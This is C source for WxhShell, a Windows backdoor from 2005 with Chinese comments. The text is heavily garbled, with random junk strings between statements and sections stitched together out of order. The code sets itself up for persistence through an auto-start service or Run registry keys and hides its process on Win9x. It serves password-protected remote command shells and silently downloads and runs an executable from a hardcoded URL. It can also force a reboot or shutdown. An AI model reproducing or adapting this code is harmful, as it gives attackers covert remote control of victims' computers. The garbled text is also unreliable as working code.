DWORD BasePriority; w,JB`jS)/ ULONG UniqueProcessId; KWhw@y-5j@ ULONG InheritedFromUniqueProcessId; eGnc6)x@C } PROCESS_BASIC_INFORMATION; 0} HKmEM SOeL@!_ PROCNTQSIP NtQueryInformationProcess; v#D9yttO{ SAXjB;VH6 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6P+8{?V& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,uuQj]Dac+ 0UlaB
sv HANDLE hProcess; 4JP01lq'\ PROCESS_BASIC_INFORMATION pbi; D<Ads ^9"|tWf6O HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7uxy<#Ar if(NULL == hInst ) return 0; l=bB,7gL J;'?(xO3\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
sx(yG9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %VSST?aUvX NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !]5F2~"v O/l|\n if (!NtQueryInformationProcess) return 0; 3P'.)=} jskATA
/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J%D'Xlb if(!hProcess) return 0; d) G7U$z~ Px'% 5TKN if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E%jOJA tse(iX/D CloseHandle(hProcess); aI+:rk^ Fi(_A hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rN}{v}n if(hProcess==NULL) return 0; +Bc/@.Q' =s1"<hH}O) HMODULE hMod; $5cLhi"` char procName[255]; }q27M unsigned long cbNeeded; 0>Ecm# <;SMczR if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3}n=o d= WynHcxC CloseHandle(hProcess); ;c<:"ad( JTl
37j if(strstr(procName,"services")) return 1; // 以服务启动 ,Ea.ts> >y%$]0F1 return 0; // 注册表启动 0Q%'vBX\` } j[) i>Qw z`5+BL,|ND // 主模块 I+8m1* int StartWxhshell(LPSTR lpCmdLine) QTK\" { F!j@b!J8 SOCKET wsl; <k}>eGn BOOL val=TRUE; _W tSZmW? int port=0; t`H^!
b struct sockaddr_in door; '_@=9 \< 5K{(V^88F if(wscfg.ws_autoins) Install(); (/Z~0hA[Q g8!!:fdu port=atoi(lpCmdLine); QBY7ZT05Gt d*8 c,x if(port<=0) port=wscfg.ws_port; B>#zrCD >x&$lT{OY WSADATA data; x\;`x$3t if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d<(1^Rto @wZ`;J % if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9v<BO$
,a setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BeaX 0#\ door.sin_family = AF_INET; ~>xn9vb= door.sin_addr.s_addr = inet_addr("127.0.0.1"); C6CX{IA] door.sin_port = htons(port); NZ9`8&93 cd*y{Wt if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vg6?a closesocket(wsl); #=Q/<r.~G return 1;
QH9(l } H>;km$b + mkrvWZjZX if(listen(wsl,2) == INVALID_SOCKET) { BAg*zYV7 closesocket(wsl); <w.V !"! return 1; _N9yC\ } ,t61IU3" Wxhshell(wsl); ]Fl+^aLS WSACleanup(); 1:q55!b !z58,hv return 0; dFo9O!YX[f VXR.2C } ^*%p]r aSXoYG0\ // 以NT服务方式启动 VlXIM, VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z]uN9c { $//18+T DWORD status = 0; N, ;'oL+ DWORD specificError = 0xfffffff; tN";o\!} 2,q^O3F serviceStatus.dwServiceType = SERVICE_WIN32; qPH]DabpI serviceStatus.dwCurrentState = SERVICE_START_PENDING; p0`Wci serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \*!g0C8 o serviceStatus.dwWin32ExitCode = 0; .Eh~$wm serviceStatus.dwServiceSpecificExitCode = 0; 1Qhx$If~ serviceStatus.dwCheckPoint = 0; ;oWh Tj` serviceStatus.dwWaitHint = 0; o9q%=/@, ~e, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (3{'GX2c if (hServiceStatusHandle==0) return; eey <:n/Z yTkYPx status = GetLastError(); bN<c5 if (status!=NO_ERROR) d7$H})[^ { T*-*U/ serviceStatus.dwCurrentState = SERVICE_STOPPED; @\u)k serviceStatus.dwCheckPoint = 0; i+Ob1B@w serviceStatus.dwWaitHint = 0; 3,3{wGvHHW serviceStatus.dwWin32ExitCode = status; /=,^fCCN serviceStatus.dwServiceSpecificExitCode = specificError; roj/GZAy" SetServiceStatus(hServiceStatusHandle, &serviceStatus); <MA!?7Z| return; G/2@Mn- } ;7tOFsV
Rj+}L ~" serviceStatus.dwCurrentState = SERVICE_RUNNING; CH`4FR.- serviceStatus.dwCheckPoint = 0; A}OV>y M serviceStatus.dwWaitHint = 0; %w/o#*j<; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >^D"% Oj y } [M@i,d-;A >`'#4!}G5j // 处理NT服务事件,比如:启动、停止 OA4NXl' VOID WINAPI NTServiceHandler(DWORD fdwControl) RvYew!n { 0wAZ9AxA{ switch(fdwControl) ruB&&C6)v { dH#S69> case SERVICE_CONTROL_STOP: =qCVy:RL4 serviceStatus.dwWin32ExitCode = 0; (U/ 6~r'.L serviceStatus.dwCurrentState = SERVICE_STOPPED; ;9=9D{-4+ serviceStatus.dwCheckPoint = 0; mrE^D| serviceStatus.dwWaitHint = 0; NAx( Qi3 { iWGgt]RJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4kxy7]W } :NA cad return; o=q
N+-N case SERVICE_CONTROL_PAUSE: {~b]6}O serviceStatus.dwCurrentState = SERVICE_PAUSED; %q2dpzNW
break; qqS-0U2 case SERVICE_CONTROL_CONTINUE: scJ`oc:<J serviceStatus.dwCurrentState = SERVICE_RUNNING; )amdRc break; L4
x case SERVICE_CONTROL_INTERROGATE: /uW6P3M break; f!xIMIl)+ }; 1PjSa4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); zu*0uL } W{1=O)w Fl(+c0|kT // 标准应用程序主函数 W\N-~9UA int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b0riiF { Xb)XV$0 u;h9Ra1 // 获取操作系统版本 =Ky1v$< OsIsNt=GetOsVer(); \P&'4y~PL GetModuleFileName(NULL,ExeFile,MAX_PATH); EG7ki0 y 9/27yWB // 从命令行安装 $ hg
W>e if(strpbrk(lpCmdLine,"iI")) Install(); Fr/8q:m& s-*8= // 下载执行文件 H]}Iw5Z if(wscfg.ws_downexe) { 8
6?D if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eZI&d;i WinExec(wscfg.ws_filenam,SW_HIDE); }P-9\*hlm } ,Y &Q, JQQD~J1)E if(!OsIsNt) { 1 (P>TH // 如果时win9x,隐藏进程并且设置为注册表启动 +@usJkxul HideProc(); g#9KG StartWxhshell(lpCmdLine); /<zBcpVNV } n KDX=73 else +3]@0VM26; if(StartFromService()) m-*du( // 以服务方式启动 6LNm>O StartServiceCtrlDispatcher(DispatchTable); QIBv}hgcy else U/D\N0 // 普通方式启动 A~h.,<+" StartWxhshell(lpCmdLine); N@?Fpmu/k `"A\8)6- return 0; ]Ny. gu } x4.-7%VV% nDui9C /_o1b_1U z=n"cE[KtB =========================================== )-2OraUm< xI}]q%V n&FN?"I/] &P[eA u AM'-(x| -Ww'wH'2 " :Oa|&.0l? 'u_'y #include <stdio.h> fCO!M1 t #include <string.h> Ks8S^77 #include <windows.h> JS!rZi #include <winsock2.h> oKA8)~Xqou #include <winsvc.h> WH/r$.& #include <urlmon.h> ]/bf#&@g`k 5c3)p^]g #pragma comment (lib, "Ws2_32.lib") C1r]kF #pragma comment (lib, "urlmon.lib") v(h
E"pq ZP = #define MAX_USER 100 // 最大客户端连接数 \qNj?;B #define BUF_SOCK 200 // sock buffer l4L&hY^ #define KEY_BUFF 255 // 输入 buffer w<-CKM3qe BU<A+Pe> #define REBOOT 0 // 重启 i^Ep[3 #define SHUTDOWN 1 // 关机 v)okVyv wEQV"I #define DEF_PORT 5000 // 监听端口 Co[ rhs B07(15y] #define REG_LEN 16 // 注册表键长度 gqyQ Zew #define SVC_LEN 80 // NT服务名长度 i/-Xpj]Zf *D*K`dk // 从dll定义API VISNmz2P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;IXDZ#; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xwTN\7f> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I$9t^82j typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vZhN%
DfY nFX8:fZ$> // wxhshell配置信息 \iSaxwU_ struct WSCFG { ]\sBl int ws_port; // 监听端口 h&NcN-[" char ws_passstr[REG_LEN]; // 口令 wrac\. int ws_autoins; // 安装标记, 1=yes 0=no UT==x< char ws_regname[REG_LEN]; // 注册表键名 I/pavh char ws_svcname[REG_LEN]; // 服务名 9~
K1+%! char ws_svcdisp[SVC_LEN]; // 服务显示名 -P(q<T2MV' char ws_svcdesc[SVC_LEN]; // 服务描述信息 eaYQyMv@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M-T&K%/lW int ws_downexe; // 下载执行标记, 1=yes 0=no ,DXNq`24 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &>*fJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wu/]M~XwI |9~{&<^X }; F1w~f
<
jiC;*]n // default Wxhshell configuration daGGgSbh struct WSCFG wscfg={DEF_PORT, C8-4 m68" "xuhuanlingzhe", kNd[M =% 1, UfOF's_'< "Wxhshell", B9>3xxp(by "Wxhshell", z )a8
^]` "WxhShell Service", ]y2(ZTNTs "Wrsky Windows CmdShell Service", R1 hb- "Please Input Your Password: ", |L%F`K>Z: 1, 2oGl"3/p "http://www.wrsky.com/wxhshell.exe", 4F??9o8 } "Wxhshell.exe" )l\BZndf }; H}dsd=yO do+HPnfDzU // 消息定义模块 tceQn
^|< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6^if%62l& char *msg_ws_prompt="\n\r? for help\n\r#>"; V[HHP_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {y`afuiB char *msg_ws_ext="\n\rExit."; a4 O char *msg_ws_end="\n\rQuit."; b_W0tiyv% char *msg_ws_boot="\n\rReboot..."; vp[~%~1( char *msg_ws_poff="\n\rShutdown..."; esLPJx char *msg_ws_down="\n\rSave to "; kzbgy)PK3 q/XZb@rt char *msg_ws_err="\n\rErr!"; Pi40w+/ char *msg_ws_ok="\n\rOK!"; [JO'ta {h7*a= char ExeFile[MAX_PATH]; 600-e;p int nUser = 0; BN|+2D+S HANDLE handles[MAX_USER]; #T99p+O int OsIsNt; [`6|~E"F k8GcHqNHx SERVICE_STATUS serviceStatus; :@`Ll;G SERVICE_STATUS_HANDLE hServiceStatusHandle; X%h1r`h& [6FCbzS_W // 函数声明 BYqDC<Fq int Install(void); iKv{)5 int Uninstall(void); 0>)('Kv int DownloadFile(char *sURL, SOCKET wsh); Y6?d
y\ int Boot(int flag); <fJoHS void HideProc(void); 6HCP1`gg int GetOsVer(void); q\x*@KQgM int Wxhshell(SOCKET wsl); di
"rvw;R void TalkWithClient(void *cs); z%hB=V!~91 int CmdShell(SOCKET sock); ;v[F@O~*) int StartFromService(void); TMhUo#`I|
int StartWxhshell(LPSTR lpCmdLine); E;@`{ v wbUpD( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `-hFk88 VOID WINAPI NTServiceHandler( DWORD fdwControl ); VWI|`O.w "o*F$7D! // 数据结构和表定义 >wNE!Oa*B SERVICE_TABLE_ENTRY DispatchTable[] = L@_IGH { q-KN{y/ {wscfg.ws_svcname, NTServiceMain}, P2_ JS]> {NULL, NULL} lo,?mj%M }; Q6`oo/ ^;Nu\c // 自我安装 QNLkj`PL/ int Install(void) vh"zYl` { >Yl?i&3n char svExeFile[MAX_PATH]; '%. lY9D HKEY key; !}9k
@=[ strcpy(svExeFile,ExeFile); I%h9V([ HH&`f3 // 如果是win9x系统,修改注册表设为自启动 G)?VC^Q if(!OsIsNt) { </5uB'
B ^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { isLIfE> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eRWTuIV6 RegCloseKey(key); PB.@G,) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IR;lt 3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J-:\^uP RegCloseKey(key); ReE6h\j return 0; +`r;3kH .. } g7EJyA } +Tf ,2?O } :tu6'X\k else { 63#Sf$p{v t,]r% // 如果是NT以上系统,安装为系统服务 RCsQLKqF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hq?-e?Nc if (schSCManager!=0) :D-My28' { I:P/
?- SC_HANDLE schService = CreateService ;dPyhR ( r{pTMcDS schSCManager, C&^"]-t wscfg.ws_svcname, GPy+\P` wscfg.ws_svcdisp, 2ro4{^(_ SERVICE_ALL_ACCESS, \S{ise/U SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C_rlbl;T SERVICE_AUTO_START, T$U,rOB" SERVICE_ERROR_NORMAL, 5}x^0
LY svExeFile, wN-3@ NULL, R*`A',]:9 NULL, i(Cd#1< NULL, 02g}}{be8 NULL, ycg5S rg NULL ow,I|A
); ;f:}gMK if (schService!=0) x{`>Il { Z
7rVM CloseServiceHandle(schService); C:\BvPoO CloseServiceHandle(schSCManager); ~e~iCyW;S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); byR|L:L strcat(svExeFile,wscfg.ws_svcname); 4eMNKIsvY$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9+)5 #!0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H4ml0SS^ RegCloseKey(key); 9XImgeAs return 0; v}XMFC ! } nsQx\Tnhx } ~5<-&Dyp7 CloseServiceHandle(schSCManager); e|Rd# } _&_#uV<WG0 } MKq:=^ w 7dhip return 1; PJA%aRP,: } d#9
\]Ul& g]PmmK_L // 自我卸载 `bw>.Ay int Uninstall(void) Squ'd { {x{e?c! HKEY key; )EZ#BF<0| KP`{ UD) if(!OsIsNt) { AC;ja$A# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JE9SPFQx9M RegDeleteValue(key,wscfg.ws_regname); {hr>m,O% RegCloseKey(key); Hy`Ee7> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u;R< RegDeleteValue(key,wscfg.ws_regname); 0l=g$G
\% RegCloseKey(key); p0U4#dD6 return 0; ^vPM\qP#g } 9(g?{ 6v| } I]t ",s/j } xs y5" else { FvQ>Y')R7Z !)~b Un SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6}zargu(; if (schSCManager!=0) c193Or'6Y { MO|aN, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [}Vne;V if (schService!=0) :Lu=t3#
{ W9nmTz\8 if(DeleteService(schService)!=0) { 2x%Xx3! CloseServiceHandle(schService); b2]1Dfw CloseServiceHandle(schSCManager); Qxr&zT7f return 0; #\U;,r } w7aC=B/{?i CloseServiceHandle(schService); <2@V$$Qg.~ } <3i2(k CloseServiceHandle(schSCManager); ;/T=ctIs } N) D;)ZH } n\Y{?x r!A1Sfo4P return 1; ^GMM% } `IL''eJug_ \@8j&],dl // 从指定url下载文件 Rg@W0Bc) int DownloadFile(char *sURL, SOCKET wsh) Y|$3%t { Q'xZ\t HRESULT hr; *F7ksLH|q char seps[]= "/"; AG/?LPJ char *token;
naE;f) char *file; sTeW4Hnp char myURL[MAX_PATH]; !jZXh1g% char myFILE[MAX_PATH]; B=?4; l7 E{+V_.tlu strcpy(myURL,sURL); Q v=F' token=strtok(myURL,seps); N6yPuH while(token!=NULL) ]@YBa4}w { 5R"My^G file=token;
2w6y token=strtok(NULL,seps); ~Iw7Xq E2 } &+]x rBR,lS$4 GetCurrentDirectory(MAX_PATH,myFILE); eaSf[!24" strcat(myFILE, "\\"); GddP)l{uCF strcat(myFILE, file); gYb}<[O! send(wsh,myFILE,strlen(myFILE),0); {oQ.y send(wsh,"...",3,0); -:Up$6PR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "\0&1C(G if(hr==S_OK) ;.*n77Y return 0; o ;nw;]oR else <Sw>5M!j return 1; DLMM1
A rZ}y'A } ';<gc5EK 1Q-O&\-xg // 系统电源模块 T#&tf^; int Boot(int flag) gG5@ KD6k { ~:8}Bz2!5 HANDLE hToken; ,|RS]I>X TOKEN_PRIVILEGES tkp; #{97<sU\ yn &+ >{ if(OsIsNt) { Z:51Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %-u Ra\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9cV;W \ Tw tkp.PrivilegeCount = 1; W !.F\H,( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cO}`PD$i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gzdR|IBa if(flag==REBOOT) { ig:E`Fe@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X'BFR]cm return 0; !I3_KuJ5 } t\&u else { T.m*LM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '#JC 6#X return 0; gKyYBr } 9k5$rK` } "zpc)'$L= else { ^eu={0k if(flag==REBOOT) { =2-!ay: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ! n@*6 return 0; !yxb=>A } k;aV4
0N9 else { hRKAs
]^j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZcT%H*Ib]9 return 0; jV:Krk6T< } Ns3k(j16 } Zp:(U3% /F/zMZGSA{ return 1; urM=l5Sx } 1D@'uApi. fcDiYJC* // win9x进程隐藏模块 P'wn$WE[n\ void HideProc(void) (A@~]N,U/ { Z+# =]Kw) ^Bkwbj HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <K6:" if ( hKernel != NULL ) S(bYN[U { RZKdh}B?\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2h Wtpus ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A}./ ;[ FreeLibrary(hKernel); \J@i:J6x$1 } AC`4n|,zJ; WX2:c,%: return; ey icMy`7{ } 5G$sP,n QOb+6qy:3 // 获取操作系统版本 M}jF-z int GetOsVer(void) f8Z[prfP { V_)G=#6Dy OSVERSIONINFO winfo; fV}: eEo|Y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }F v:g! GetVersionEx(&winfo); fgzkc"ReK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~3,>TV return 1; .TI=3*`G else 8oAr<:.= return 0; $>Y2N5 } &nJH23h^ B;k3YOg // 客户端句柄模块 <oJM||ZA int Wxhshell(SOCKET wsl) 6R.%I{x' { l+%2kR SOCKET wsh; :[hZn/ struct sockaddr_in client; e7T}*Up DWORD myID; cM'\u~m{ {xW HKsI>, while(nUser<MAX_USER) `,-w+3?Al { Wc6Jgpl int nSize=sizeof(client); uv&??F]/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D's Tv}P if(wsh==INVALID_SOCKET) return 1; ;F)j,Ywi)H QJeL&mf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '>8IOC if(handles[nUser]==0) _zuaImJ0o closesocket(wsh); `a$c6^a else . 5cL+G1k# nUser++; )sONfn } :>y?B!= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A }(V2 blUnAu
o~ return 0; o8PK,!Pl } Bf)}g4nYn :TPT]q
d@ // 关闭 socket O~wZU Zf void CloseIt(SOCKET wsh) pfs'2AFj { [i"6\p& closesocket(wsh); #o>~@.S#:0 nUser--; c8@zpkMj/ ExitThread(0); E:_m6
m } lKtA.{( 1KHFzx, // 客户端请求句柄 \3WF-!xe void TalkWithClient(void *cs) fN!ci'] { :NHP," pm)kocG SOCKET wsh=(SOCKET)cs; w)nFH)f char pwd[SVC_LEN]; @pV~Q2% char cmd[KEY_BUFF]; QsXy(w#F char chr[1]; 4@qHS0$ int i,j; *VP-fyJp sf7~hN*
while (nUser < MAX_USER) { Fj_6jsDb PU& v{gn if(wscfg.ws_passstr) { B4l*]K% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2aDjt{7P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ` FJ2
? //ZeroMemory(pwd,KEY_BUFF); 7I#<w[l>k i=0; aa-{,X"MF while(i<SVC_LEN) { $u ae8h >e'Hz (~'/ // 设置超时 )o=ipm[ fd_set FdRead; E]aQK.
struct timeval TimeOut; ?KB+2]7m6 FD_ZERO(&FdRead); k}0Y&cT!rU FD_SET(wsh,&FdRead); 006qj. TimeOut.tv_sec=8; |H . TimeOut.tv_usec=0; 8LPvb#9= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j\LJ{?;jC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b +4x2{ /QgU!:e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1M={8}3 pwd=chr[0]; oe4r_EkYwW if(chr[0]==0xd || chr[0]==0xa) { QEC4!$L^ pwd=0; S;I>W&U break; -ff@W m } ><HHO
(74X i++; "sD[P3 } (#)-IdXXO< ,E._A(Z // 如果是非法用户,关闭 socket \>G :mMk/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0#/N ZO } U!TSAg21P E! s?amM4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qr<+@Q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~43T$^<w; `mt x+C while(1) { I{8sLzA03S 17C"@1n- ZeroMemory(cmd,KEY_BUFF); ;_nV*G.y#^ =/Lwprj // 自动支持客户端 telnet标准 L>ruNw'-K j=0; _u]S/X- while(j<KEY_BUFF) { ^&|KuI+u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c %f'rj cmd[j]=chr[0]; o4U[;.?c if(chr[0]==0xa || chr[0]==0xd) { Z'<I
Is:J cmd[j]=0; R'z
-#*[ break; ~%D=\iE } K^yZfpa8 j++; bCSgdK } &F 3'tf? `h(*D // 下载文件 "J=A(w5 if(strstr(cmd,"http://")) { -Uo"!o>x| send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;+Sc Vz if(DownloadFile(cmd,wsh)) d%(4s~y send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9*ek5vPB else >hFg,5 _l3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tsWzM9Yf } xULcS :Q else { ^}{`bw {
]nQC switch(cmd[0]) { -LnNA`- R)Y*<Na // 帮助 Ir4M5OR\ case '?': { U 6`E\?d` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); + 2j] break; Be4n\c. } p+y2w{{ // 安装 D&]dlY@* case 'i': { D:I6nSoC if(Install()) F<Y> send(wsh,msg_ws_err,strlen(msg_ws_err),0); "b6ew2\ else RLE6=#4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (RM;T @` break; #^zUaPV 7r } 0Vwl\,7z9 // 卸载 hAvX{] case 'r': { 9`|
^cL*6 if(Uninstall()) q)F@f / send(wsh,msg_ws_err,strlen(msg_ws_err),0); xU(yc}vw, else %AV[vr, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =JM !`[ break; (\A~SKEX } iqAME%m // 显示 wxhshell 所在路径 AZ'"Ua case 'p': { VYAz0H1-_ char svExeFile[MAX_PATH]; QZO9CLX 8k strcpy(svExeFile,"\n\r"); J.g4I|{ strcat(svExeFile,ExeFile); ,>vI|p,/G* send(wsh,svExeFile,strlen(svExeFile),0); vbMt}bM(GD break; Dxx`<=&g } JZom#A.
dt // 重启 eI:;l];G9 case 'b': { 5a^b{=#Y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); --'!5)U if(Boot(REBOOT)) bKb}VP send(wsh,msg_ws_err,strlen(msg_ws_err),0); >< |